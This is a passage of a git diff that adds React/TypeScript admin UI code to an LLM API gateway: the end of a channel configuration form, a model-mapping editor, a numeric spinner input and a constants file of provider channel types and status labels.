+                            placeholder={t(FIELD_PLACEHOLDERS.GROUP)}
+                          />
+                        )}
+                      </FormControl>
+                      <FormDescription>
+                        {t(FIELD_DESCRIPTIONS.GROUP)}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              </div>
+
+              <Separator />
+
+              {/* Advanced Settings Section */}
+              <div className='space-y-4'>
+                <h3 className='text-sm font-semibold'>
+                  {t('Advanced Settings')}
+                </h3>
+
+                <FormField
+                  control={form.control}
+                  name='priority'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Priority')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          type='number'
+                          placeholder='0'
+                          {...field}
+                          onChange={(e) =>
+                            field.onChange(Number(e.target.value))
+                          }
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        {t(FIELD_DESCRIPTIONS.PRIORITY)}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='weight'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Weight')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          type='number'
+                          placeholder='0'
+                          {...field}
+                          onChange={(e) =>
+                            field.onChange(Number(e.target.value))
+                          }
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        {t(FIELD_DESCRIPTIONS.WEIGHT)}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='test_model'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Test Model')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          placeholder={t(FIELD_PLACEHOLDERS.TEST_MODEL)}
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        {t(FIELD_DESCRIPTIONS.TEST_MODEL)}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='auto_ban'
+                  render={({ field }) => (
+                    <FormItem className='flex items-center justify-between rounded-lg border p-4'>
+                      <div className='space-y-0.5'>
+                        <FormLabel className='text-base'>
+                          {t('Auto Ban')}
+                        </FormLabel>
+                        <FormDescription>
+                          {t(FIELD_DESCRIPTIONS.AUTO_BAN)}
+                        </FormDescription>
+                      </div>
+                      <FormControl>
+                        <Switch
+                          checked={field.value === 1}
+                          onCheckedChange={(checked) =>
+                            field.onChange(checked ? 1 : 0)
+                          }
+                        />
+                      </FormControl>
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='tag'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Tag')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          placeholder={t(FIELD_PLACEHOLDERS.TAG)}
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        {t(FIELD_DESCRIPTIONS.TAG)}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='remark'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Remark')}</FormLabel>
+                      <FormControl>
+                        <Textarea
+                          placeholder={t(FIELD_PLACEHOLDERS.REMARK)}
+                          rows={2}
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        {t(FIELD_DESCRIPTIONS.REMARK)}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='status_code_mapping'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Status Code Mapping')}</FormLabel>
+                      <FormControl>
+                        <JsonEditor
+                          value={field.value || ''}
+                          onChange={field.onChange}
+                          disabled={isSubmitting}
+                          keyPlaceholder='400'
+                          valuePlaceholder='500'
+                          keyLabel='Original Code'
+                          valueLabel='Mapped Code'
+                          emptyMessage={t(
+                            'No status code mappings configured.'
+                          )}
+                          template={{ '400': '500', '429': '503' }}
+                          valueType='string'
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        {t('Map upstream status codes to different codes')}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='param_override'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Parameter Override')}</FormLabel>
+                      <FormControl>
+                        <JsonEditor
+                          value={field.value || ''}
+                          onChange={field.onChange}
+                          disabled={isSubmitting}
+                          keyPlaceholder='temperature'
+                          valuePlaceholder='0.7'
+                          keyLabel='Parameter'
+                          valueLabel='Value'
+                          emptyMessage={t('No parameter overrides configured.')}
+                          template={{
+                            temperature: 0.7,
+                            max_tokens: 2000,
+                            top_p: 1,
+                          }}
+                          valueType='any'
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        <div className='flex flex-col gap-2'>
+                          <span>
+                            {t('Override request parameters. Cannot override')}{' '}
+                            <code>{t('stream')}</code> {t('parameter.')}
+                          </span>
+                          <div className='flex flex-wrap gap-2'>
+                            <Button
+                              type='button'
+                              variant='ghost'
+                              size='sm'
+                              className='h-6 text-xs'
+                              onClick={() => {
+                                field.onChange(
+                                  JSON.stringify({ temperature: 0 }, null, 2)
+                                )
+                              }}
+                            >
+                              {t('Old Format Template')}
+                            </Button>
+                            <Button
+                              type='button'
+                              variant='ghost'
+                              size='sm'
+                              className='h-6 text-xs'
+                              onClick={() => {
+                                field.onChange(
+                                  JSON.stringify(
+                                    {
+                                      operations: [
+                                        {
+                                          path: 'temperature',
+                                          mode: 'set',
+                                          value: 0.7,
+                                          conditions: [
+                                            {
+                                              path: 'model',
+                                              mode: 'prefix',
+                                              value: 'gpt',
+                                            },
+                                          ],
+                                          logic: 'AND',
+                                        },
+                                      ],
+                                    },
+                                    null,
+                                    2
+                                  )
+                                )
+                              }}
+                            >
+                              {t('New Format Template')}
+                            </Button>
+                          </div>
+                          <span className='text-muted-foreground text-xs'>
+                            {t(
+                              'Old format: Direct override. New format: Supports conditional judgment and custom JSON operations.'
+                            )}
+                          </span>
+                        </div>
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='header_override'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Header Override')}</FormLabel>
+                      <FormControl>
+                        <JsonEditor
+                          value={field.value || ''}
+                          onChange={field.onChange}
+                          disabled={isSubmitting}
+                          keyPlaceholder='X-Custom-Header'
+                          valuePlaceholder='value'
+                          keyLabel='Header Name'
+                          valueLabel='Header Value'
+                          emptyMessage={t('No header overrides configured.')}
+                          template={{
+                            'X-Custom-Header': 'custom-value',
+                            'X-API-Version': '2024-01',
+                          }}
+                          valueType='string'
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        {t('Override request headers')}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              </div>
+
+              <Separator />
+
+              {/* Channel Extra Settings Section */}
+              <div className='space-y-4'>
+                <h3 className='text-sm font-semibold'>
+                  {t('Channel Extra Settings')}
+                </h3>
+
+                {currentType === 1 && (
+                  <FormField
+                    control={form.control}
+                    name='force_format'
+                    render={({ field }) => (
+                      <FormItem className='flex items-center justify-between rounded-lg border p-4'>
+                        <div className='space-y-0.5'>
+                          <FormLabel className='text-base'>
+                            {t('Force Format')}
+                          </FormLabel>
+                          <FormDescription>
+                            {t(
+                              'Force format response to OpenAI standard (OpenAI channel only)'
+                            )}
+                          </FormDescription>
+                        </div>
+                        <FormControl>
+                          <Switch
+                            checked={field.value}
+                            onCheckedChange={field.onChange}
+                          />
+                        </FormControl>
+                      </FormItem>
+                    )}
+                  />
+                )}
+
+                <FormField
+                  control={form.control}
+                  name='thinking_to_content'
+                  render={({ field }) => (
+                    <FormItem className='flex items-center justify-between rounded-lg border p-4'>
+                      <div className='space-y-0.5'>
+                        <FormLabel className='text-base'>
+                          {t('Thinking to Content')}
+                        </FormLabel>
+                        <FormDescription>
+                          {t(
+                            'Convert reasoning_content to <think> tag in content'
+                          )}
+                        </FormDescription>
+                      </div>
+                      <FormControl>
+                        <Switch
+                          checked={field.value}
+                          onCheckedChange={field.onChange}
+                        />
+                      </FormControl>
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='pass_through_body_enabled'
+                  render={({ field }) => (
+                    <FormItem className='flex items-center justify-between rounded-lg border p-4'>
+                      <div className='space-y-0.5'>
+                        <FormLabel className='text-base'>
+                          {t('Pass Through Body')}
+                        </FormLabel>
+                        <FormDescription>
+                          {t('Pass request body directly to upstream')}
+                        </FormDescription>
+                      </div>
+                      <FormControl>
+                        <Switch
+                          checked={field.value}
+                          onCheckedChange={field.onChange}
+                        />
+                      </FormControl>
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='proxy'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Proxy Address')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          placeholder={t('socks5://user:pass@host:port')}
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        {t(
+                          'Network proxy for this channel (supports socks5 protocol)'
+                        )}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='system_prompt'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('System Prompt')}</FormLabel>
+                      <FormControl>
+                        <Textarea
+                          placeholder={t(
+                            'Enter system prompt (user prompt takes priority)'
+                          )}
+                          rows={3}
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        {t('Default system prompt for this channel')}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='system_prompt_override'
+                  render={({ field }) => (
+                    <FormItem className='flex items-center justify-between rounded-lg border p-4'>
+                      <div className='space-y-0.5'>
+                        <FormLabel className='text-base'>
+                          {t('System Prompt Concatenation')}
+                        </FormLabel>
+                        <FormDescription>
+                          {t(
+                            'Concatenate channel system prompt with user&apos;s prompt'
+                          )}
+                        </FormDescription>
+                      </div>
+                      <FormControl>
+                        <Switch
+                          checked={field.value}
+                          onCheckedChange={field.onChange}
+                        />
+                      </FormControl>
+                    </FormItem>
+                  )}
+                />
+
+                {MODEL_FETCHABLE_TYPES.has(currentType) && (
+                  <>
+                    <FormField
+                      control={form.control}
+                      name='upstream_model_update_check_enabled'
+                      render={({ field }) => (
+                        <FormItem className='flex items-center justify-between rounded-lg border p-4'>
+                          <div className='space-y-0.5'>
+                            <FormLabel className='text-base'>
+                              {t('Upstream Model Update Check')}
+                            </FormLabel>
+                            <FormDescription>
+                              {t(
+                                'Periodically check for upstream model changes'
+                              )}
+                            </FormDescription>
+                          </div>
+                          <FormControl>
+                            <Switch
+                              checked={field.value}
+                              onCheckedChange={field.onChange}
+                            />
+                          </FormControl>
+                        </FormItem>
+                      )}
+                    />
+                    <FormField
+                      control={form.control}
+                      name='upstream_model_update_auto_sync_enabled'
+                      render={({ field }) => (
+                        <FormItem className='flex items-center justify-between rounded-lg border p-4'>
+                          <div className='space-y-0.5'>
+                            <FormLabel className='text-base'>
+                              {t('Auto Sync Upstream Models')}
+                            </FormLabel>
+                            <FormDescription>
+                              {t(
+                                'Automatically sync model list when upstream changes are detected'
+                              )}
+                            </FormDescription>
+                          </div>
+                          <FormControl>
+                            <Switch
+                              checked={field.value}
+                              onCheckedChange={field.onChange}
+                            />
+                          </FormControl>
+                        </FormItem>
+                      )}
+                    />
+                  </>
+                )}
+              </div>
+            </form>
+          </Form>
+
+          <SheetFooter className='gap-2'>
+            <SheetClose asChild>
+              <Button variant='outline' disabled={isSubmitting}>
+                {t('Cancel')}
+              </Button>
+            </SheetClose>
+            <Button form='channel-form' type='submit' disabled={isSubmitting}>
+              {isSubmitting && (
+                <Loader2 className='mr-2 h-4 w-4 animate-spin' />
+              )}
+              {isEditing ? t('Update Channel') : t('Save changes')}
+            </Button>
+          </SheetFooter>
+        </SheetContent>
+      </Sheet>
+
+      {/* Fetch Models Dialog (for editing mode) */}
+      {isEditing && currentRow && (
+        <FetchModelsDialog
+          open={fetchModelsDialogOpen}
+          onOpenChange={setFetchModelsDialogOpen}
+          onModelsSelected={(models) => {
+            // Fill selected models to form
+            form.setValue('models', formatModelsArray(models))
+          }}
+          redirectModels={redirectModelList}
+          redirectSourceModels={redirectModelKeyList}
+        />
+      )}
+
+      <SecureVerificationDialog
+        open={verificationOpen}
+        onOpenChange={(open) => {
+          if (!open) {
+            cancelVerification()
+          }
+        }}
+        methods={verificationMethods}
+        state={verificationState}
+        onVerify={async (method, code) => {
+          await executeVerification(method, code)
+        }}
+        onCancel={cancelVerification}
+        onCodeChange={setVerificationCode}
+        onMethodChange={switchVerificationMethod}
+      />
+
+      {/* Missing Models Confirmation Dialog */}
+      <MissingModelsConfirmationDialog
+        open={missingModelsDialogOpen}
+        missingModels={missingModelsList}
+        onConfirm={handleMissingModelsAction}
+        onOpenChange={setMissingModelsDialogOpen}
+      />
+
+      <StatusCodeRiskDialog
+        open={statusCodeRiskOpen}
+        onOpenChange={(v) => {
+          if (!v) handleStatusCodeRiskAction(false)
+        }}
+        detailItems={statusCodeRiskDetailItems}
+        onConfirm={() => handleStatusCodeRiskAction(true)}
+      />
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/model-mapping-editor.tsx b/new-api/web/default/src/features/channels/components/model-mapping-editor.tsx
new file mode 100644
index 0000000..458589e
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/model-mapping-editor.tsx
@@ -0,0 +1,244 @@
+import { useState, useEffect } from 'react'
+import { Code, Table, Plus, Trash2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { Textarea } from '@/components/ui/textarea'
+
+type ModelMappingEditorProps = {
+  value: string
+  onChange: (value: string) => void
+  disabled?: boolean
+}
+
+type MappingRow = {
+  id: string
+  from: string
+  to: string
+}
+
+export function ModelMappingEditor({
+  value,
+  onChange,
+  disabled = false,
+}: ModelMappingEditorProps) {
+  const { t } = useTranslation()
+  const [mode, setMode] = useState<'visual' | 'json'>('visual')
+  const [rows, setRows] = useState<MappingRow[]>([])
+  const [jsonValue, setJsonValue] = useState(value)
+
+  const parseJsonToRows = (json: string) => {
+    try {
+      if (!json.trim()) {
+        setRows([])
+        return
+      }
+      const parsed = JSON.parse(json)
+      const newRows: MappingRow[] = Object.entries(parsed).map(
+        ([from, to], index) => ({
+          id: `${Date.now()}-${index}`,
+          from,
+          to: String(to),
+        })
+      )
+      setRows(newRows)
+    } catch (_error) {
+      // Invalid JSON, keep current rows
+    }
+  }
+
+  // Parse JSON to rows when value changes externally
+  useEffect(() => {
+    // eslint-disable-next-line react-hooks/set-state-in-effect
+    setJsonValue(value)
+    parseJsonToRows(value)
+  }, [value])
+
+  const convertRowsToJson = (updatedRows: MappingRow[]): string => {
+    if (updatedRows.length === 0) {
+      return ''
+    }
+    const obj: Record<string, string> = {}
+    updatedRows.forEach((row) => {
+      if (row.from.trim()) {
+        obj[row.from.trim()] = row.to.trim()
+      }
+    })
+    return JSON.stringify(obj, null, 2)
+  }
+
+  const handleAddRow = () => {
+    const newRow: MappingRow = {
+      id: `${Date.now()}`,
+      from: '',
+      to: '',
+    }
+    const updatedRows = [...rows, newRow]
+    setRows(updatedRows)
+  }
+
+  const handleDeleteRow = (id: string) => {
+    const updatedRows = rows.filter((row) => row.id !== id)
+    setRows(updatedRows)
+    const json = convertRowsToJson(updatedRows)
+    setJsonValue(json)
+    onChange(json)
+  }
+
+  const handleRowChange = (
+    id: string,
+    field: 'from' | 'to',
+    newValue: string
+  ) => {
+    const updatedRows = rows.map((row) =>
+      row.id === id ? { ...row, [field]: newValue } : row
+    )
+    setRows(updatedRows)
+    const json = convertRowsToJson(updatedRows)
+    setJsonValue(json)
+    onChange(json)
+  }
+
+  const handleJsonChange = (newJson: string) => {
+    setJsonValue(newJson)
+    onChange(newJson)
+    parseJsonToRows(newJson)
+  }
+
+  const handleFillTemplate = () => {
+    const template = JSON.stringify(
+      { 'gpt-3.5-turbo': 'gpt-3.5-turbo-0125' },
+      null,
+      2
+    )
+    setJsonValue(template)
+    onChange(template)
+    parseJsonToRows(template)
+  }
+
+  const toggleMode = () => {
+    if (mode === 'visual') {
+      // Switching to JSON mode: sync rows to JSON
+      const json = convertRowsToJson(rows)
+      setJsonValue(json)
+      onChange(json)
+      setMode('json')
+    } else {
+      // Switching to visual mode: sync JSON to rows
+      parseJsonToRows(jsonValue)
+      setMode('visual')
+    }
+  }
+
+  return (
+    <div className='space-y-2'>
+      <div className='flex items-center justify-between'>
+        <div className='flex gap-2'>
+          <Button
+            type='button'
+            variant='outline'
+            size='sm'
+            onClick={toggleMode}
+            disabled={disabled}
+          >
+            {mode === 'visual' ? (
+              <>
+                <Code className='mr-2 h-4 w-4' />
+                {t('JSON Mode')}
+              </>
+            ) : (
+              <>
+                <Table className='mr-2 h-4 w-4' />
+                {t('Visual Mode')}
+              </>
+            )}
+          </Button>
+          <Button
+            type='button'
+            variant='link'
+            size='sm'
+            className='h-auto p-0'
+            onClick={handleFillTemplate}
+            disabled={disabled}
+          >
+            {t('Fill Template')}
+          </Button>
+        </div>
+      </div>
+
+      {mode === 'visual' ? (
+        <div className='space-y-2'>
+          {rows.length > 0 ? (
+            <div className='space-y-2'>
+              <div className='grid grid-cols-[1fr_1fr_auto] gap-2 text-sm font-medium'>
+                <div>{t('Original Model')}</div>
+                <div>{t('Replacement Model')}</div>
+                <div className='w-10'></div>
+              </div>
+              {rows.map((row) => (
+                <div
+                  key={row.id}
+                  className='grid grid-cols-[1fr_1fr_auto] gap-2'
+                >
+                  <Input
+                    value={row.from}
+                    onChange={(e) =>
+                      handleRowChange(row.id, 'from', e.target.value)
+                    }
+                    placeholder='gpt-3.5-turbo'
+                    disabled={disabled}
+                  />
+                  <Input
+                    value={row.to}
+                    onChange={(e) =>
+                      handleRowChange(row.id, 'to', e.target.value)
+                    }
+                    placeholder='gpt-3.5-turbo-0125'
+                    disabled={disabled}
+                  />
+                  <Button
+                    type='button'
+                    variant='ghost'
+                    size='icon'
+                    onClick={() => handleDeleteRow(row.id)}
+                    disabled={disabled}
+                    className='h-10 w-10'
+                  >
+                    <Trash2 className='h-4 w-4' />
+                  </Button>
+                </div>
+              ))}
+            </div>
+          ) : (
+            <div className='text-muted-foreground flex h-24 items-center justify-center rounded-md border border-dashed text-sm'>
+              {t(
+                'No model mappings configured. Click "Add Mapping" to get started.'
+              )}
+            </div>
+          )}
+          <Button
+            type='button'
+            variant='outline'
+            size='sm'
+            onClick={handleAddRow}
+            disabled={disabled}
+            className='w-full'
+          >
+            <Plus className='mr-2 h-4 w-4' />
+            {t('Add Mapping')}
+          </Button>
+        </div>
+      ) : (
+        <Textarea
+          value={jsonValue}
+          onChange={(e) => handleJsonChange(e.target.value)}
+          placeholder={t('{"original-model": "replacement-model"}')}
+          disabled={disabled}
+          rows={8}
+          className={cn('font-mono text-sm')}
+        />
+      )}
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/numeric-spinner-input.tsx b/new-api/web/default/src/features/channels/components/numeric-spinner-input.tsx
new file mode 100644
index 0000000..4bf1782
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/numeric-spinner-input.tsx
@@ -0,0 +1,177 @@
+import { useState, useEffect, useRef } from 'react'
+import { Minus, Plus } from 'lucide-react'
+import { cn } from '@/lib/utils'
+import { Label } from '@/components/ui/label'
+
+interface NumericSpinnerInputProps {
+  value: number | null | undefined
+  onChange: (value: number) => void
+  min?: number
+  max?: number
+  step?: number
+  disabled?: boolean
+  className?: string
+  label?: string
+}
+
+export function NumericSpinnerInput({
+  value,
+  onChange,
+  min = 0,
+  max,
+  step = 1,
+  disabled = false,
+  className,
+  label,
+}: NumericSpinnerInputProps) {
+  const [localValue, setLocalValue] = useState(String(value ?? 0))
+  const [editing, setEditing] = useState(false)
+  const inputRef = useRef<HTMLInputElement>(null)
+
+  useEffect(() => {
+    if (!editing) {
+      // eslint-disable-next-line react-hooks/set-state-in-effect
+      setLocalValue(String(value ?? 0))
+    }
+  }, [value, editing])
+
+  const clamp = (v: number) => {
+    let result = v
+    if (min !== undefined) result = Math.max(min, result)
+    if (max !== undefined) result = Math.min(max, result)
+    return result
+  }
+
+  const handleIncrement = (e: React.MouseEvent) => {
+    e.stopPropagation()
+    if (disabled) return
+    const next = clamp((Number(localValue) || 0) + step)
+    setLocalValue(String(next))
+    onChange(next)
+  }
+
+  const handleDecrement = (e: React.MouseEvent) => {
+    e.stopPropagation()
+    if (disabled) return
+    const next = clamp((Number(localValue) || 0) - step)
+    setLocalValue(String(next))
+    onChange(next)
+  }
+
+  const handleStartEdit = () => {
+    if (disabled) return
+    setEditing(true)
+    requestAnimationFrame(() => inputRef.current?.select())
+  }
+
+  const handleInputChange = (e: React.ChangeEvent<HTMLInputElement>) => {
+    const raw = e.target.value
+    if (raw === '' || raw === '-') {
+      setLocalValue(raw)
+      return
+    }
+    if (!/^-?\d+$/.test(raw)) return
+    setLocalValue(raw)
+  }
+
+  const commitValue = () => {
+    setEditing(false)
+    const num = Number(localValue)
+    if (isNaN(num) || localValue === '' || localValue === '-') {
+      setLocalValue(String(value ?? 0))
+      return
+    }
+    const clamped = clamp(num)
+    setLocalValue(String(clamped))
+    if (clamped !== (value ?? 0)) {
+      onChange(clamped)
+    }
+  }
+
+  const handleKeyDown = (e: React.KeyboardEvent) => {
+    if (e.key === 'Enter') {
+      e.preventDefault()
+      commitValue()
+    } else if (e.key === 'Escape') {
+      setEditing(false)
+      setLocalValue(String(value ?? 0))
+    }
+  }
+
+  const atMin = min !== undefined && Number(localValue) <= min
+  const atMax = max !== undefined && Number(localValue) >= max
+
+  return (
+    <div className={cn('inline-flex items-center', className)}>
+      {label && (
+        <Label className='text-muted-foreground mr-1.5 text-xs'>{label}</Label>
+      )}
+      <div
+        className={cn(
+          'group/spinner inline-flex h-7 items-center gap-0 rounded-md transition-colors',
+          !disabled && 'hover:bg-muted/60',
+          editing && 'bg-muted/60 ring-primary/30 ring-1'
+        )}
+      >
+        <button
+          type='button'
+          tabIndex={-1}
+          aria-label='Decrement'
+          onClick={handleDecrement}
+          disabled={disabled || atMin}
+          className={cn(
+            'text-muted-foreground/0 group-hover/spinner:text-muted-foreground flex h-7 w-6 shrink-0 items-center justify-center rounded-l-md transition-colors',
+            !disabled &&
+              !atMin &&
+              'group-hover/spinner:hover:text-foreground group-hover/spinner:hover:bg-muted',
+            (disabled || atMin) && 'group-hover/spinner:opacity-30'
+          )}
+        >
+          <Minus className='size-3' />
+        </button>
+
+        {editing ? (
+          <input
+            ref={inputRef}
+            type='text'
+            value={localValue}
+            onChange={handleInputChange}
+            onBlur={commitValue}
+            onKeyDown={handleKeyDown}
+            className='h-7 w-10 bg-transparent text-center font-mono text-sm outline-none'
+            autoFocus
+          />
+        ) : (
+          <button
+            type='button'
+            onClick={handleStartEdit}
+            disabled={disabled}
+            className={cn(
+              'h-7 min-w-8 cursor-text px-1 text-center font-mono text-sm tabular-nums',
+              disabled && 'cursor-default opacity-50'
+            )}
+          >
+            {localValue}
+          </button>
+        )}
+
+        <button
+          type='button'
+          tabIndex={-1}
+          aria-label='Increment'
+          onClick={handleIncrement}
+          disabled={disabled || atMax}
+          className={cn(
+            'text-muted-foreground/0 group-hover/spinner:text-muted-foreground flex h-7 w-6 shrink-0 items-center justify-center rounded-r-md transition-colors',
+            !disabled &&
+              !atMax &&
+              'group-hover/spinner:hover:text-foreground group-hover/spinner:hover:bg-muted',
+            (disabled || atMax) && 'group-hover/spinner:opacity-30'
+          )}
+        >
+          <Plus className='size-3' />
+        </button>
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/constants.ts b/new-api/web/default/src/features/channels/constants.ts
new file mode 100644
index 0000000..a5a453f
--- /dev/null
+++ b/new-api/web/default/src/features/channels/constants.ts
@@ -0,0 +1,368 @@
+// ============================================================================
+// Channel Types (from constant/channel.go)
+// All label/name values are i18n keys; use t(value) when displaying.
+// ============================================================================
+
+export const CHANNEL_TYPES = {
+  0: 'Unknown',
+  1: 'OpenAI',
+  2: 'Midjourney',
+  3: 'Azure',
+  4: 'Ollama',
+  5: 'MidjourneyPlus',
+  6: 'OpenAIMax',
+  7: 'OhMyGPT',
+  8: 'Custom',
+  9: 'AILS',
+  10: 'AI Proxy',
+  11: 'PaLM',
+  12: 'API2GPT',
+  13: 'AIGC2D',
+  14: 'Anthropic',
+  15: 'Baidu',
+  16: 'Zhipu',
+  17: 'Ali',
+  18: 'Xunfei',
+  19: '360',
+  20: 'OpenRouter',
+  21: 'AI Proxy Library',
+  22: 'FastGPT',
+  23: 'Tencent',
+  24: 'Gemini',
+  25: 'Moonshot',
+  26: 'Zhipu V4',
+  27: 'Perplexity',
+  31: 'LingYiWanWu',
+  33: 'AWS',
+  34: 'Cohere',
+  35: 'MiniMax',
+  36: 'SunoAPI',
+  37: 'Dify',
+  38: 'Jina',
+  39: 'Cloudflare',
+  40: 'SiliconFlow',
+  41: 'Vertex AI',
+  42: 'Mistral',
+  43: 'DeepSeek',
+  44: 'MokaAI',
+  45: 'VolcEngine',
+  46: 'Baidu V2',
+  47: 'Xinference',
+  48: 'xAI',
+  49: 'Coze',
+  50: 'Kling',
+  51: 'Jimeng',
+  52: 'Vidu',
+  53: 'Submodel',
+  54: 'DoubaoVideo',
+  55: 'Sora',
+  56: 'Replicate',
+  57: 'Codex',
+} as const
+
+export const CHANNEL_TYPE_OPTIONS = Object.entries(CHANNEL_TYPES)
+  .filter(([value]) => {
+    const num = Number(value)
+    return num !== 0 // Exclude Unknown
+  })
+  .map(([value, label]) => ({
+    value: Number(value),
+    label,
+  }))
+
+// ============================================================================
+// Channel Status (label values are i18n keys; use t(config.label) in components)
+// ============================================================================
+
+export const CHANNEL_STATUS = {
+  UNKNOWN: 0,
+  ENABLED: 1,
+  MANUAL_DISABLED: 2,
+  AUTO_DISABLED: 3,
+} as const
+
+export const CHANNEL_STATUS_LABELS = {
+  [CHANNEL_STATUS.UNKNOWN]: 'Unknown',
+  [CHANNEL_STATUS.ENABLED]: 'Enabled',
+  [CHANNEL_STATUS.MANUAL_DISABLED]: 'Disabled',
+  [CHANNEL_STATUS.AUTO_DISABLED]: 'Auto Disabled',
+} as const
+
+export const CHANNEL_STATUS_OPTIONS = [
+  { value: 'all', label: 'All Status' },
+  { value: 'enabled', label: 'Enabled' },
+  { value: 'disabled', label: 'Disabled' },
+] as const
+
+export const CHANNEL_STATUS_CONFIG = {
+  [CHANNEL_STATUS.UNKNOWN]: {
+    variant: 'neutral' as const,
+    label: 'Unknown',
+    showDot: true,
+  },
+  [CHANNEL_STATUS.ENABLED]: {
+    variant: 'success' as const,
+    label: 'Enabled',
+    showDot: true,
+  },
+  [CHANNEL_STATUS.MANUAL_DISABLED]: {
+    variant: 'neutral' as const,
+    label: 'Disabled',
+    showDot: true,
+  },
+  [CHANNEL_STATUS.AUTO_DISABLED]: {
+    variant: 'danger' as const,
+    label: 'Auto Disabled',
+    showDot: true,
+  },
+}
+
+// ============================================================================
+// Multi-Key Status
+// ============================================================================
+
+export const MULTI_KEY_STATUS = {
+  ENABLED: 1,
+  MANUAL_DISABLED: 2,
+  AUTO_DISABLED: 3,
+} as const
+
+export const MULTI_KEY_STATUS_LABELS = {
+  [MULTI_KEY_STATUS.ENABLED]: 'Enabled',
+  [MULTI_KEY_STATUS.MANUAL_DISABLED]: 'Manual Disabled',
+  [MULTI_KEY_STATUS.AUTO_DISABLED]: 'Auto Disabled',
+} as const
+
+export const MULTI_KEY_STATUS_CONFIG = {
+  [MULTI_KEY_STATUS.ENABLED]: {
+    variant: 'success' as const,
+    label: 'Enabled',
+  },
+  [MULTI_KEY_STATUS.MANUAL_DISABLED]: {
+    variant: 'neutral' as const,
+    label: 'Manual Disabled',
+  },
+  [MULTI_KEY_STATUS.AUTO_DISABLED]: {
+    variant: 'danger' as const,
+    label: 'Auto Disabled',
+  },
+}
+
+// ============================================================================
+// Multi-Key Modes
+// ============================================================================
+
+export const MULTI_KEY_MODES = [
+  { value: 'random', label: 'Random' },
+  { value: 'polling', label: 'Polling' },
+] as const
+
+export const ADD_MODE_OPTIONS = [
+  { value: 'single', label: 'Single Key' },
+  { value: 'batch', label: 'Batch Add (one key per line)' },
+  {
+    value: 'multi_to_single',
+    label: 'Multi-Key Mode (multiple keys, one channel)',
+  },
+] as const
+
+// ============================================================================
+// Multi-Key Management
+// ============================================================================
+
+export const MULTI_KEY_FILTER_OPTIONS = [
+  { value: 'all', label: 'All Status' },
+  { value: '1', label: 'Enabled' },
+  { value: '2', label: 'Manual Disabled' },
+  { value: '3', label: 'Auto Disabled' },
+] as const
+
+export const MULTI_KEY_CONFIRM_MESSAGES = {
+  DELETE:
+    'Are you sure you want to delete this key? This action cannot be undone.',
+  ENABLE: 'Enable this key?',
+  DISABLE: 'Disable this key?',
+  ENABLE_ALL: 'Are you sure you want to enable all keys?',
+  DISABLE_ALL: 'Are you sure you want to disable all enabled keys?',
+  DELETE_DISABLED:
+    'Are you sure you want to delete all auto-disabled keys? This action cannot be undone.',
+} as const
+
+// ============================================================================
+// Auto Ban Options
+// ============================================================================
+
+export const AUTO_BAN_OPTIONS = [
+  { value: 1, label: 'Enabled' },
+  { value: 0, label: 'Disabled' },
+] as const
+
+// ============================================================================
